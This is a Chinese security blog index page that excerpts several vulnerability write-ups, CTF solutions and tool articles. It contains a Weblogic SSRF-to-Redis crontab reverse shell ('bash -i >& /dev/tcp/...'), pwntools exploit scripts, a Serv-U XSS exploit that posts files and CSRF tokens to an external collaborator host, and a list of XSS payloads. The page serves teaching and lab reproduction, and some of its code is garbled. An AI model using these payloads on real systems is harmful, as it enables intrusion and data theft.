锐捷RG-UAC统一上网行为管理审计系统账号密码信息泄露漏洞 安全博客

锐捷RG-UAC统一上网行为管理审计系统账号密码信息泄露漏洞

锐捷RG-UAC统一上网行为管理审计系统账号密码信息泄露漏洞漏洞描述锐捷RG-UAC统一上网行为管理审计系统存在账号密码信息泄露,可以间接获取用户账号密码信息登录后台 编号:CNVD-2021-14536 Fofa指纹1title="RG-UAC登录页面" && body="admin" 漏洞利用 源代码搜索: MD5解密: 登录成功 自动化 POC1234567891011121314151617181920212223242526272829303132333435363738394041424344454647import requestsimport sysimport randomimport refrom requests.packages.urllib3.exceptions import InsecureRequestWarningdef title(): print('+------------------------------------------') print('+ 33
阅读全文
11.Weblogic-SSRF漏洞复现 未分类

11.Weblogic-SSRF漏洞复现

应为这一阵正好在学习SSRF漏洞,又苦于本人太菜没有挖到SSRF,只能复现... 先贴出很早之前央视网SSRF可窥探内网(Weblogic SSRF案例):https://www.secpulse.com/archives/38967.html Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件 服务端请求伪造(Server-Side Request Forgery),是指Web服务提供从用户指定的URL读取数据并展示功能又未 对用户输入的URL进行过滤,导致攻击者可借助服务端实现访问其本无权访问的URL。 攻击者无权访问的URL主要是内网,而对于不是Web服务的其他端口反回的一般是端口对应的服务的banner信息, 所以SSRF的一大利用是探测内网端口开放信息。(所以SSRF归类为信息泄漏类型) 漏洞出现位置与解决方法: Weblogic服务端请求伪造漏洞出现在uddi组件(所以安装Weblogic时如果没有选择uddi组件那么就不会有该漏洞), 更准确地说是uudi包实现包uddiexplorer.war下的SearchPublicRegistries.jsp。 所以修复的直接方法是将SearchPublicRegistries.jsp直接删除就好了 我们这里采用的是改后辍的方式,修复步骤如下: 1.将weblogic安装目录下的wlserver_10.3/server/lib/uddiexplorer.war做好备份 2.将weblogic安装目录下的server/lib/uddiexplorer.war下载 3.用winrar等工具打开uddiexplorer.war 4.将其下的SearchPublicRegistries.jsp重命名为SearchPublicRegistries.jspx 5.保存后上传回服务端替换原先的uddiexplorer.war 6.对于多台主机组成的集群,针对每台主机都要做这样的操作 7.由于每个server的tmp目录下都有缓存所以修改后要彻底重启weblogic(即停应用--停server--停控制台--启控制台--启server--启应用) 理论部分已经交代完,下面开始实际操作,复现漏洞,这次使用docker来模拟漏洞环境 docker github地址:https://github.com/vulhub/vulhub 搭建的载体为Ubuntu,ip为 192.168.0.131 搭建过程不在详述,搭建完成后,访问 http://your-ip:7001/uddiexplorer/ 无需登录即可查看uddiexplorer应用。 1|0SSRF漏洞测试 SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp 我们在brupsuite下测试该漏洞。访问一个可以访问的IP:PORT,如http://127.0.0.1:7001 我们访问的IP是内网ip地址,一般是拒绝访问的 当我们访问一个不存在的端口时,比如 http://127.0.0.1:7000 将会返回:could not connect over HTTP to server 当我们访问存在的端口时,比如 http://127.0.0.1:7001 可访问的端口将会得到错误,一般是返回status code(如下图),如果访问的非http协议,则会返回:did not have a valid  SOAP content-type 正常我们是无法访问内网的,但是通过页面返回错误的不同,我们可以探测内网端口的开放状态,进而知道内网 开启的服务,同时加以利用 2|0注入HTTP头,利用Redis反弹shell Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符, 而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。 首先,通过ssrf探测内网中的redis服务器,应为这个漏洞是用docker环境搭建的,所以redis服务器的内网即是 docker的网段(docker环境的网段一般是172.*): 下面用一个python 小脚本来实现内网端口探测这个功能: 尝试运行:   经过探测,我们发现了内网的一个IP存在6379端口,也就是redis服务: 我们这里要发送几行代码 发送三条redis命令,将弹shell脚本写入/etc/crontab: 1234set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.18.0.1/21 0>&1\n\n\n\n"config set dir /etc/config set dbfilename crontabsave 把这三条命令通过get包注入进去,先要将命令用url进行编码 注意,换行符是“\r\n”,也就是“%0D%0A” 然后我们把构造好的数据包通过burp进行发送 , 将url编码后的字符串放在ssrf的域名后面,发送: 接着靶机上开启端口监听,nc -lvnp 21 ,反弹shell。成功。   最后补充一下,可进行利用的cron有如下几个地方: /etc/crontab 这个是肯定的 /etc/cron.d/*...
阅读全文
L3CTF-WriteUp CTF专场

L3CTF-WriteUp

WebEasy PHP解题思路在字符串中间插入了一些特殊unicode字符,比如&#202E; 直接右键检查,复制相应的字符串,然后用quote url编码一下,传最下面的url即可http://124.71.176.131:10001/?username=admin&%E2%80%AE%E2%81%A6L3H%E2%81%A9%E2%81%A6password=%E2%80%AE%E2%81%A6CTF%E2%81%A9%E2%81%A6l3hctfImage Service 1解题思路注册了aaa账号,正常测试功能.多次测试上传图片后会有flag图片出现.或者在搜索哪里搜索也可以.应该是作为flag1比较简单另外的一个做法是,js能看到前端的处理逻辑,sharelist是搜索分享列表的 ,结合题目说的在admin的分享列表,搜索admin提示有限制,搜索Admin即可PwnSPN解题思路from pwn import *libc = ELF("./libc-2.27.so")p = remote("124.71.194.126", 9999)def add(size, idx): p.sendlineafter("exit", "1") p.sendlineafter("Size:", str(size)) p.sendlineafter("Index", str(idx))def edit(idx, size, content): p.sendlineafter("exit", "2") p.sendlineafter("Index", str(idx)) p.sendlineafter("Size", str(size)) p.sendafter("Content", content)def exp(): add(0x1000, 0) edit(0, 0x1008, "x00"*0x8) p.sendlineafter("exit", "5")  p.interactive()if __name__ == '__main__': exp()checkin解题思路from pwn import *context.log_level = 'debug'def pwn(): try:  p = remote("123.60.97.201", 9999)  p.sendafter("you:", "x00"*0x20)  p.send("1")  p.sendlineafter("fun!", p64(0x4f7e70))  p.sendafter("you:", "x00"*0x10)  p.sendafter("fun!n", "x1cx34x12")  p.sendline("ls")  p.sendline("ls")  data = p.recv()  if "AddressSanitizer" in data:   raise Exception  p.interactive() except:  p.close()if __name__ == '__main__': while True:  pwn()Reverseidaaaaaa解题思路 (po叔nb) 所有的东西都在conditional breakpoint里使用这个程序可以解密所有字符串target_string= # 这里是那么多的bytestart_ind=set()all_ind=*999for VLzxDy in range(19):    if VLzxDy == 0:        bYsMTa = 287        LjzrdT = b'lqAT7pNI3BX'    elif VLzxDy == 1:        bYsMTa = 96        LjzrdT = b'z3Uhis74aPq'    elif VLzxDy == 2:        bYsMTa = 8        LjzrdT = b'9tjseMGBHR5'    elif VLzxDy == 3:        bYsMTa = 777        LjzrdT = b'FhnvgMQjexH'    elif VLzxDy == 4:        bYsMTa = 496        LjzrdT = b'SKnZ51f9WsE'    elif VLzxDy == 5:        bYsMTa = 822        LjzrdT = b'gDJy104BSHW'    elif VLzxDy == 6:        bYsMTa = 914        LjzrdT = b'PbRV4rSM7fd'    elif VLzxDy == 7:        bYsMTa = 550        LjzrdT = b'WHPnoMTsbx3'    elif VLzxDy == 8:        bYsMTa = 273        LjzrdT = b'mLx5hvlqufG'    elif VLzxDy == 9:        bYsMTa = 259        LjzrdT = b'QvKgNmUFTnW'    elif VLzxDy == 10:        bYsMTa = 334        LjzrdT = b'TCrHaitRfY1'    elif VLzxDy == 11:        bYsMTa = 966        LjzrdT = b'm26IAvjq1zC'    elif VLzxDy == 12:        bYsMTa = 331        LjzrdT = b'dQb2ufTZwLX'    elif VLzxDy == 13:        bYsMTa = 680        LjzrdT = b'Y6Sr7znOeHL'    elif VLzxDy == 14:        bYsMTa = 374        LjzrdT = b'hLFj1wl5A0U'    elif VLzxDy == 15:        bYsMTa = 717        LjzrdT = b'H6W03R7TLFe'    elif VLzxDy == 16:        bYsMTa = 965        LjzrdT = b'fphoJwDKsTv'    elif VLzxDy == 17:        bYsMTa = 952        LjzrdT = b'CMF1Vk7NH4O'    elif VLzxDy == 18:        bYsMTa = 222        LjzrdT = b'43PSbAlgLqj'    start_ind.add((bYsMTa,str(LjzrdT,encoding='utf-8')))    all_ind=(LjzrdT,VLzxDy)    # print('=================================')    # print(str(bytes(),encoding='utf-8'))def xor_(a,k):    if type(k)==str:        k=bytes(k,encoding='utf-8')    return str(bytes(),encoding='utf-8')# print('=============================')# print(xor_(667,b'vjHiPd4bBuf'))# print(len(target_string))import relnind=start_indif_pattern=re.compile(r'e{0,1}l{0,1}if + == +:n    + = +n    + = b'+'')bytes_pattern=re.compile(r'b'+'')number_pattern=re.compile(r'+')for i in range(100):    nind=set()    for ind in lnind:        try:            cmds=xor_(ind,ind)        except:            print(ind)            continue        # print(cmds)        # print(if_pattern.findall(cmds))        all_if=if_pattern.findall(cmds)        # print(all_if)        for ifs in all_if:            b=bytes_pattern.findall(ifs)            nums=number_pattern.findall(ifs) # ,int(nums)            nind.add((int(nums),b))    lnind=nind    for ind in nind:        start_ind.add(ind)    print(len(start_ind),i)    # if len(start_ind)>=1000:    #     breakprint(len(start_ind),start_ind)# exit(0)for ind in start_ind:    for i1 in start_ind:        if i1==ind and i1!=ind:            print(i1,ind)f=open('4.py','w')for ind in start_ind:    plain=xor_(ind,ind)    if '4927649' not in plain:        print(ind,plain)    f.write(plain)    f.write('n=======================n')f.close()现在需要找到最终结束的地方,然后搜索一个最短路径在4.py中搜索4927649,有999个,这个字符串指向O, no,找到哪一个不包含4927649的就可以 发现是这个(426, 'akUx3IWl29V') idaapi.del_bpt(cpu.rip)cpu.rax = 0cpu.rip = 4202594这个地址指向的内容是ext:0000000000402062                 lea     rdi, aCorrectFlagIsL ; "correct! flag is L3HCTF{md5($SHORTEST_V"....text:0000000000402069                 mov     eax, 0.text:000000000040206E                 call    printf.text:0000000000402073.text:0000000000402073 loc_402073:                             ; CODE XREF: sub_401FE8+78↑j.text:0000000000402073                 mov     eax, 0.text:0000000000402078                 leave.text:0000000000402079                 retn就是成功,现在需要搜索到这个成功的最短路径 如果两个点都可以到达下一个点,那么答案不唯一,所以直接从起始点扩展就可以 target_string= # 程序中复制出来的byte start_ind=set() all_ind=set()for VLzxDy in range(19):    if VLzxDy == 0:        bYsMTa = 287        LjzrdT = b'lqAT7pNI3BX'    elif VLzxDy == 1:        bYsMTa = 96        LjzrdT = b'z3Uhis74aPq'    elif VLzxDy == 2:        bYsMTa = 8        LjzrdT = b'9tjseMGBHR5'    elif VLzxDy == 3:        bYsMTa = 777        LjzrdT = b'FhnvgMQjexH'    elif VLzxDy == 4:        bYsMTa = 496        LjzrdT = b'SKnZ51f9WsE'    elif VLzxDy == 5:        bYsMTa = 822        LjzrdT = b'gDJy104BSHW'    elif VLzxDy == 6:        bYsMTa = 914        LjzrdT = b'PbRV4rSM7fd'    elif VLzxDy == 7:        bYsMTa = 550        LjzrdT = b'WHPnoMTsbx3'    elif VLzxDy == 8:        bYsMTa = 273        LjzrdT = b'mLx5hvlqufG'    elif VLzxDy == 9:        bYsMTa = 259        LjzrdT = b'QvKgNmUFTnW'    elif VLzxDy == 10:        bYsMTa = 334        LjzrdT = b'TCrHaitRfY1'    elif VLzxDy == 11:        bYsMTa = 966        LjzrdT = b'm26IAvjq1zC'    elif VLzxDy == 12:        bYsMTa = 331        LjzrdT = b'dQb2ufTZwLX'    elif VLzxDy == 13:        bYsMTa = 680        LjzrdT = b'Y6Sr7znOeHL'    elif VLzxDy == 14:        bYsMTa = 374        LjzrdT = b'hLFj1wl5A0U'    elif VLzxDy == 15:        bYsMTa = 717        LjzrdT = b'H6W03R7TLFe'    elif VLzxDy == 16:        bYsMTa = 965        LjzrdT = b'fphoJwDKsTv'    elif VLzxDy == 17:        bYsMTa = 952        LjzrdT = b'CMF1Vk7NH4O'    elif VLzxDy == 18:        bYsMTa = 222        LjzrdT = b'43PSbAlgLqj'    start_ind.add(bYsMTa)    all_ind.add((bYsMTa,str(LjzrdT,encoding='utf-8')))def xor_(a,k):    if type(k)==str:        k=bytes(k,encoding='utf-8')    return str(bytes(),encoding='utf-8')import relnind=all_indif_pattern=re.compile(r'e{0,1}l{0,1}if + == +:n    + = +n    + = b'+'')bytes_pattern=re.compile(r'b'+'')number_pattern=re.compile(r'+')next_dict=dict() # 记录当前节点可以到达的下一节点for i in range(100):    nind=set()    for ind in lnind:        try:            cmds=xor_(ind,ind)        except:            print(ind)            continue        # print(cmds)        # print(if_pattern.findall(cmds))        all_if=if_pattern.findall(cmds)        if ind not in next_dict.keys():            next_dict=set()        # print(all_if)        for ifs in all_if:            b=bytes_pattern.findall(ifs)            nums=number_pattern.findall(ifs) # ,int(nums)            nind.add((int(nums),b))            next_dict.add((int(nums),int(nums)))    lnind=nind    for ind in nind:        all_ind.add(ind)    print(len(all_ind),i)    if len(start_ind)>=len(target_string):        breakf=open('4.py','w')for ind in all_ind:    # print('===========================')    # print(ind)    # print(xor_(ind,ind))    plain=xor_(ind,ind)    if '4927649' not in plain:        print(ind,plain)    f.write(plain)    f.write('n=======================n')f.close()print(next_dict)# 搜索原则:节点不能重复添加all_solve=def make_answer(path:list):    answer=''    answer+=chr(12+ord('a'))    for i,p in enumerate(path):        if i==len(path)-1:break        tos=next_dict        for n in tos:            if n==path:                answer+=chr(n+ord('a'))                break    print(answer)        print(start_ind)def search(current_choices:set,current_state:list):    # print(current_state)    for cc in current_choices:        if cc==426:            print(current_state)        elif cc not in current_state:            current_state.append(cc)            next_set=next_dict            search(,current_state)            current_state.pop()# search(start_ind,)distance=*1000last_node=*1000for i in start_ind:    distance=1    last_node=-1last_cur=start_indfor i in range(1000):    cur_dis=set()    for ind in last_cur:        cur_nodes=next_dict        for cn in cur_nodes:            if distance==-1:                distance=distance+1                last_node=ind                cur_dis.add(cn)                if cn==426:                    print(distance,last_node)                    path=                    start=426                    while start>0:                        path.insert(0,start)                        start=last_node                    print(len(path),path)                    make_answer(path)                    exit(0)    last_cur=cur_dis最后得到mcaebacedaabfacacabgagbbaaeacabcbacebagaaabcdbgbdbcbdacgabfbbebababbbbbcaabdababafaccacdagdaababaaaaload解题思路 给load程序真是一个loader,data段中有一个加密过的pe文件,前期经过解密,然后通过这个loader新开一个进程,然后应该是根据pe文件格式加载进内存,这里没太注意,毕竟关键点不在这,直接先把解密的pe格式dump下来再说,然后再用ida打开,关键地方在这,难点就是401370的算法,这里是在看的过程中,感觉有点行列式的感觉,注重去搜了这方面的算法,后面根据对照发现就是矩阵求逆,在线找了一个求逆的网站,直接解, https://matrix.reshish.com/zh/inverCalculation.php ,然后发现这里有负数,再跟进去看是无符号转有符号了,这里还得弄回去,这里负数就加256,返回去,然后写脚本逆就行了input=strtable=for i in range(len(input)):    tmp=input    a=tmp//16    b=tmp%16    if tmp<0:        a=(tmp+256)//16        b = (input + 256) % 16    a=strtable    b=strtable    print(str(a)+str(b))flag{f812f706f306ff02ff0dfde207}end招新小广告ChaMd5 Venom 招收大佬入圈新成立组IOT+工控+样本分析+AI 长期招新欢迎联系[email protected] 原文始发于微信公众号(ChaMd5安全团队):L3CTF-WriteUp
阅读全文
Solarwinds Serv-U中的XSS漏洞(CVE-2021-32604) 安全漏洞

Solarwinds Serv-U中的XSS漏洞(CVE-2021-32604)

点击上方蓝字关注我们概述研究人员在 SolarWinds Serv-U FTP 服务器中发现了一个有趣的漏洞。尽管初始向量需要身份验证,但低权限用户能够创建可公开访问的URL,当受害者访问该URL时将触发XSS有效载荷。Serv-U包含两个功能来发送和接收来自其他用户的文件,在测试“请求文件”功能时,研究人员注意到发件人电子邮件输入被放置在可公开访问的共享URL中时没有被编码。这意味着攻击者可以向受害者发送一个共享URL来触发XSS漏洞。漏洞复现以下步骤是在Serv-U 15.2.3版本上测试的,通过身份验证后,用户可以转到“请求文件”选项卡以生成文件请求URL,如下图所示:使用虚拟数据并发送请求,会显示可公开访问的共享URL:检查生成的URL会显示文件上传表单。在此处上传的文件将被发送回链接创建者的Serv-U文件夹。现在,如果我们修改原始链接生成请求,并在“SenderEmail”字段中包含一个XSS 有效载荷,例如"'/><script>alert(7)%3b</script>%40localhost.local。然后从响应中获取“ShareURL”。这样一来,就成功在可公开访问的共享URL上获得XSS了。漏洞利用由于漏洞利用使用了Ajax异步调用,因此我们需要稍作调整才能将文件正确上传到 Serv-U同时发送出去。脚本可以简单地托管,然后使用<script>标签通过XSS注入。简而言之,具体步骤如下:从页面抓取当前CSRF令牌重写“SubmitForm”函数,改为发布到外部主机调用Ajax方法将文件POST到原始Serv-U主机,以确保满足原始承诺var csrftoken = $('script').text().match(/(&CsrfToken='+")(.*?)";/);function SubmitForm(rForm, rFormsTargetFrame, sFileName, nTransferID, bIsVirtual) { var bSubmitted = false; SubmitOriginal(rForm, rFormsTargetFrame, sFileName, nTransferID, bIsVirtual); if (rForm != null && rForm != undefined && rFormsTargetFrame != null && rFormsTargetFrame != undefined && sFileName != undefined && sFileName != null && sFileName != '' && nTransferID > 0) { if (bIsVirtual == undefined || bIsVirtual == null) bIsVirtual = 0; var sAction = 'http://SOMEURL.burpcollaborator.net/Web Client/Share/MultipleFileUploadResult.htm?Command=UploadFileShare&TransferID=' + nTransferID + '&File=' + encodeURIComponent(sFileName) + '&ShareToken=' + g_sShareToken + '&IsVirtual=' + bIsVirtual + '&CsrfToken=' + csrftoken; rForm.setAttribute('action', sAction); rFormsTargetFrame.onload = null; rFormsTargetFrame.src = '/Web...
阅读全文
实战纪实 |某巨型企业的某个系统奇葩姿势 安全文章

实战纪实 |某巨型企业的某个系统奇葩姿势

高质量的安全文章,安全offer面试经验分享尽在 # 掌控安全EDU #作者:掌控安全-urfyyyy 前言这个月都在做一个巨型合作企业的渗透测试,这个系统本无方式getshell,得亏我心够细,想的多,姿势够骚。文中重码,且漏洞已修复。过程找到shell点目标系统功能很少,基本上就是一个展示页面,没有增删改功能,仅能查,基本上半小时不到就把所有功能都看完了,完全没有能getshell的功能点...此时查询功能的一个url引起了我的怀疑,反手随便搜索了一个123.此系统并无登录功能,完全就是一个展示页面,url里为什么带了login呢?于是选中url回车,再次访问这个页面奇迹发生了,进后台了!终于找到了增删改功能,有机会shell!新的风暴再次出现点击新增视频之后,他会跳转到一个错误页面,告诉我“您没有权限”上传页面一闪而过,那咋整呢,抓包到上传页面停住,drop掉后面的请求包呗,反正总共就俩请求包,一个是跳转到上传页面,然后就会立刻跳转到无权限。事情并没有这么简单,如我所料,即使drop掉后面的包,也是无法访问的。getshell这是逼我打拳,nobody konws “手速” better than me!看我打一套松果弹抖闪电鞭一鞭!返回新增视频页面二鞭!点击新增视频三鞭!跳到无权限页面四鞭!点击浏览器后退键五鞭!按键盘上的ESC键多次运功后,成功停在了上传页面,大功告成。盲猜一波没有waf(其实前面测别的功能的时候就知道没有waf了)各位观众,刺不刺激...客户不允许上传webshell,没办法,只能上传一个jsp的helloworld来证明任意文件上传getshell了,文件名就起”免杀”吧,显得专业一点。至此结束!感谢观看,觉得还不错可以点个赞哦回顾往期内容Xray挂机刷漏洞POC批量验证Python脚本编写实战纪实 | SQL漏洞实战挖掘技巧渗透工具 | 红队常用的那些工具分享代码审计 | 这个CNVD证书拿的有点轻松    代理池工具撰写 | 只有无尽的跳转,没有封禁的IP!扫码白嫖视频+工具+进群+靶场等资料  扫码白嫖! 还有免费的配套靶场、交流群哦! 本文始发于微信公众号(掌控安全EDU):实战纪实 |某巨型企业的某个系统奇葩姿势
阅读全文
7大必知必会的XSS案例 安全文章

7大必知必会的XSS案例

点击蓝字·关注我们全文 1075 字,预计阅读时间 3 分钟前言大多数解释什么是 XSS 的文章中都会使用如下的payload<script>alert(1)</script>来进行演示。这种手法虽然十分经典和真实,但是在XSS实战中会比这个稍微复杂一些。本文将讲述 7 个必知必会的XSS案例,练习靶场如下http://brutelogic.com.br/xss.php反射型和存储型XSS的本质原理都是一样的,本文作为案例展示,主要使用反射型进行演示P.S. 测试XSS的时候,有些浏览器会自动开启XSS过滤功能,请将此功能关闭,或者使用默认不开启此功能的浏览器,如FireFox一、URL反射当URL以某种形式在源代码中展示出来的时候,我们就可以插入我们的XSS Payload(XSS向量)。PHP中,可以在URL后加入一个"/",然后在后面加上任意内容http://brutelogic.com.br/xss.php/"><svg onload=alert(1)>其中,">"用来闭合当前的tag,从而插入一个新的svg标签二、简单HTML注入最直接简单的方式,不需要任何闭合构造,输入的内容直接被嵌入到了两个标签之间。http://brutelogic.com.br/xss.php?a=<svg onload=alert(1)>三、内联HTML注入输入的内容直接被嵌入到一个tag内,只需要构造Payload,将当前的tag闭合http://brutelogic.com.br/xss.php?b1="><svg onload=alert(1)>四、内联HTML注入:无法闭合当前tag当输入被嵌入到HTML属性中,这时">"会被转义成HTML实体,这样就无法闭合当前的tag这时可以注入事件处理属性来触发XSShttp://brutelogic.com.br/xss.php?b3=" onmouseover=alert(1)//五、JS中的HTML注入有时输入的内容会被嵌入到 js 脚本中,一般都会作为js中变量的值,由于HTML的tag在HTML解析中的优先级更高,所以可以直接通过</script>来闭合当前的js脚本http://brutelogic.com.br/xss.php?c1=</script><svg onload=alert(1)>六、简单JS注入如果 </script>被过滤了,那上面的方法就失效了我们需要构造有效的js语法http://brutelogic.com.br/xss.php?c3='-alert(1)-'七、JS注入:转义过滤上面的例子中,如果输入的"'"被转义成"'",那么我们的js语法将不成立然而,我们可以变换下思路http://brutelogic.com.br/xss.php?c5='-alert(1)//通过多输入一个""来吃掉,过滤器自己为"'"添加的"",从而使js语法成立P.S. 末尾的 // 可以注释掉后面的无关内容,保证后面的js语法正确八、参考链接https://brutelogic.com.br/blog/the-7-main-xss-cases-everyone-should-know/http://brutelogic.com.br/xss.phpEND免责声明本公众号内的文章及工具仅提供学习用途,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本公众号及文章作者不为此承担任何责任。今日关注福利发表于1小时前cckuailong查看:xxxx回复:yyyy回复  gitdork ,获取 Github侦查查询技巧好文分享收藏赞一下最美点在看哦 原文始发于微信公众号(我不是Hacker):7大必知必会的XSS案例
阅读全文
sigurlfind3r:一款功能强大的被动网络侦察工具 安全工具

sigurlfind3r:一款功能强大的被动网络侦察工具

来自 | FreeBuf关于sigurlfind3rsigurlfind3r是一款功能强大的被动网络侦察工具,该工具主要针对的是已知的URL搜索,并且可以使用各种在线源并以被动方式收集URL列表。功能介绍收集已知URL:可从AlienVault’s OTX、Common Crawl、URLScan、Github和Wayback Machine获取数据,可以从txt获取禁用路径;降低噪声:通过正则表达式过滤URL,移除URL中的重复页面;输出至stdout或存储至文件;工具安装预构建源码下载我们可以直接访问该项目的【Releases页面】下载针对自己平台的预构建源码。下载完成之后,提取源码文件,并将其移动指$PATH路径下即可直接使用。源码获取sigurlfind3r要求本地主机安装并配置好Go v1.14+环境,配置好后就可以直接使用下列命令下载并安装sigurlfind3r了:GO111MODULE=on go get -u -v github.com/signedsecurity/sigurlfind3r/cmd/sigurlfind3r从GitHub安装git clone https://github.com/signedsecurity/sigurlfind3r.git && cd sigurlfind3r/cmd/sigurlfind3r/ && go build; mv sigurlfind3r /usr/local/bin/ && sigurlfind3r -h工具配置sigurlfind3r在安装完成之后,还需要进行适当的配置,这里你将需要获取API密钥。这个API密钥存储在$HOME/.config/sigurlfind3r/conf.yaml之中。参考样例如下:version: 1.5.0sources: - commoncrawl - github - otx - urlscan - wayback - waybackrobotskeys: github: - d23a554bbc1aabb208c9acfbd2dd41ce7fc9db39 - asdsd54bbc1aabb208c9acfbd2dd41ce7fc9db39工具使用提示:从GitHub爬取URL的话可能速度会比较慢。sigurlfind3r -h上述命令将会显示如下信息:_ _ __ _ _ _____ ___(_) __ _ _ _ _ __| |/ _(_)_ __ __| |___ / _ __/ __| |/ _` | | | | '__| | |_| | '_ / _` | |_ | '__|__ | (_| | |_| | | | | _| | | | | (_| |___) | ||___/_|__,...
阅读全文
Facebook 推出查找SSRF 漏洞的新工具 安全工具

Facebook 推出查找SSRF 漏洞的新工具

 聚焦源代码安全,网罗国内外最新资讯!编译:代码卫士上周四,Facebook 公司发布了一款新工具 “SSRF Dashboard“ ,旨在帮助安全研究员查找服务器端请求伪造漏洞。根据OWASP的定义,SSRF 攻击可使攻击者滥用服务器的功能来读或更新内部资源。OWASP 解释称,“攻击者可提供或修改代码在服务器上为读或提交数据而运行的 url,而且通过精心挑选这些url,攻击者能够读取服务器配置如 AWS 元数据、连接至内部服务如启用 http 的数据库、或者针对不可被暴露的内部服务执行 post 请求。”SSRF Dashboard 提供了一个简单的接口,可使研究人员为目标创建唯一的内部端点 URL,之后了解它们的URL是否遭 SSRF 攻击。除了这个生成的唯一 SSRF 尝试URL 外,该工具还展示创建日期、唯一ID号以及URL所接收到的点击次数。Facebook 表示,安全研究员能使用这款新工具,可靠地判断其 SSRF PoC 代码是否成功,因为只有成功的 PoC 才会接收到点击。Facebook 鼓励查找并发现 SSRF 漏洞的研究员,可在提交PoC 时一并包含 SSRF 尝试URL 的 ID 号码。Facebook 公司表示,“SSR 漏洞是最难发现的漏洞之一,因为外部研究员无法直接检测服务器的易受攻击行为。“另外,Facebook 公司还给出了该工具及其用法的其它信息,以及关于该平台漏洞奖励计划的详情。推荐阅读这个SSRF 漏洞很酷Facebook 开源 Instagram 的Python 代码静态安全分析工具 PysaFacebook 发布开源的群聊信息加密工具原文链接https://www.securityweek.com/facebook-introduces-new-tool-finding-ssrf-vulnerabilities题图:Pixabay License本文由奇安信编译,不代表奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。奇安信代码卫士 (codesafe)国内首个专注于软件开发安全的产品线。    觉得不错,就点个 “在看” 或 "赞” 吧~ 原文始发于微信公众号(代码卫士):Facebook 推出查找SSRF 漏洞的新工具
阅读全文
Bug Bounty | 分享我的Tip 安全文章

Bug Bounty | 分享我的Tip

0x01 前言没啥好发的,就分享分享吧!这个狩猎技巧,分享其中的1.阅读源代码0x02 阅读源代码1 - 开源网络情报 (OSINT)与威胁情报,可以获取有关目标,它们如何编码,其工作流程,用于前端的技术,API和带外处理,所调用的URL,所使用的端口等大量信息。2 - 了解网站,通过阅读他们的应用程序逻辑,可以开始了解整个解决方案的整体工作方式。3 - 前端代码分析,通常可以通过源代码发现安全或业务逻辑缺陷,这需要花费数百小时的黑盒测试才能通过模糊测试和手动输入组合实现4 - 信息泄漏,存储的用户名,密码,密钥,域,URL等可以在源代码存储库中找到。有时会发现它们,然后将其删除,即使它们不再是最新版本,也会在提交历史中留下痕迹,阅读和搜索一两个小时或两个小时。0x03 某博 XSS我是如何通过阅读源代码,来得到某博反射型XSS的在我获得这个通过输出内容的时候,看了一下源代码!我认为在我们输出一个内容的时候,我们都可以适当查看一下源代码看看有没有什么被过滤了或者执行的!大体是这样的请求0x04 微软 XSS这个漏洞我是如何发现的我在查找MS相关编号的时候,点击这个页面就弹窗了,百思不得其解!我通过阅读源代码找到了触发点,想知道在哪通过输入执行的,发现这个微软是直接渲染的Github上面的MarkDown语言才导致触发的我找到github中相对应的内容0x05 在项目中上传找文件这是朋友的一个项目,在上传文件之后发现这个文件突然访问不了了,以为是马子被杀了,仔细阅读源代码后发现了问题所在这个文件上传在了别的目录通过访问这个目录,成功找到我们上传的文件0x06 结尾不知道这篇文章对师傅们的启发有多大,只是我在实战当中遇到的时候留下的笔记!感谢师傅们对本公众号的支持,因为粉丝破3k所以才分享一些Tip! 原文始发于微信公众号(不懂安全的校长):Bug Bounty | 分享我的Tip
阅读全文
【安全入门】漏洞发现爬虫特扫&Burp插件自动化&白盒扫描 安全文章

【安全入门】漏洞发现爬虫特扫&Burp插件自动化&白盒扫描

网安教育培养网络安全人才技术交流、学习咨询➤ 网络爬虫项目演示测试crawlergo&rad&burpsuite&awvs爬虫的对比参考程序员启航的博客:https://blog.csdn.net/aaahtml/article/details/1131742271.crawlergocrawlergo是一个使用chrome headless模式进行URL收集的浏览器爬虫。它对整个网页的关键位置与DOM渲染阶段进行HOOK,自动进行表单填充并提交,配合智能的JS事件触发,尽可能的收集网站暴露出的入口。内置URL去重模块,过滤掉了大量伪静态URL,对于大型网站仍保持较快的解析与抓取速度,最后得到高质量的请求结果集合。安装:需要下载chromium以及linux环境地址:https://github.com/0Kee-Team/crawlergo2.radrad,一款专为安全扫描而生的浏览器爬虫运行rad1rad.exe -t http://192.168.111.131/dvwa/index.php3.avwsAcunetix一款商业的Web漏洞扫描程序,它可以检查Web应用程序中的漏洞,如SQL注入、跨站脚本攻击、身份验证页上的弱口令长度等。它拥有一个操作方便的图形用户界面,并且能够创建专业级的Web站点安全审核报告。新版本集成了漏洞管理功能来扩展企业全面管理、优先级和控制漏洞威胁的能力。这里选择爬虫扫描➤ AVWS&burp&sqlmap爬虫扫描1、利用Awvs配置代理联动Burp爬虫选择爬虫扫描选择好代理设置把爬虫的请求保存到文本中接着使用sqlmap对文本中的请求快速扫描1python sqlmap.py -l .avws_sqlmap.txt --batch -smart跑完之后我们去康康结果发现是存在注入的➤ Burp-Suite安装插件扫描&灯塔配合goby1.Burp-Suite插件项目地址:https://github.com/Mr-xn/BurpSuite-collectionsBurp-Suite-collections,BurpSuite 相关收集项目,插件主要是非BApp Store(商店)武装完Burp-Suite之后,我们就可以使用它进行扫描测试这里就是Burp-Suite扫描的结果信息2.灯塔配合goby通过灯塔来进行资产收集到敏感文件或ip、域名再配合goby进行漏洞扫描Penetration_Testing_POC,搜集有关渗透测试中用到的POC、脚本、工具、文章等姿势分享,项目地址:https://github.com/Mr-xn/Penetration_Testing_POCAwesome burp extensions一个非常棒的 Burp 扩展,适合那些想用很棒的插件来为他们的 Burp 实例增添趣味的人,项目地址:https://github.com/snoopysecurity/awesome-burp-extensions➤信息收集&源代码进行白盒扫描fottify 全名叫:Fortify SCA ,是HP的产品 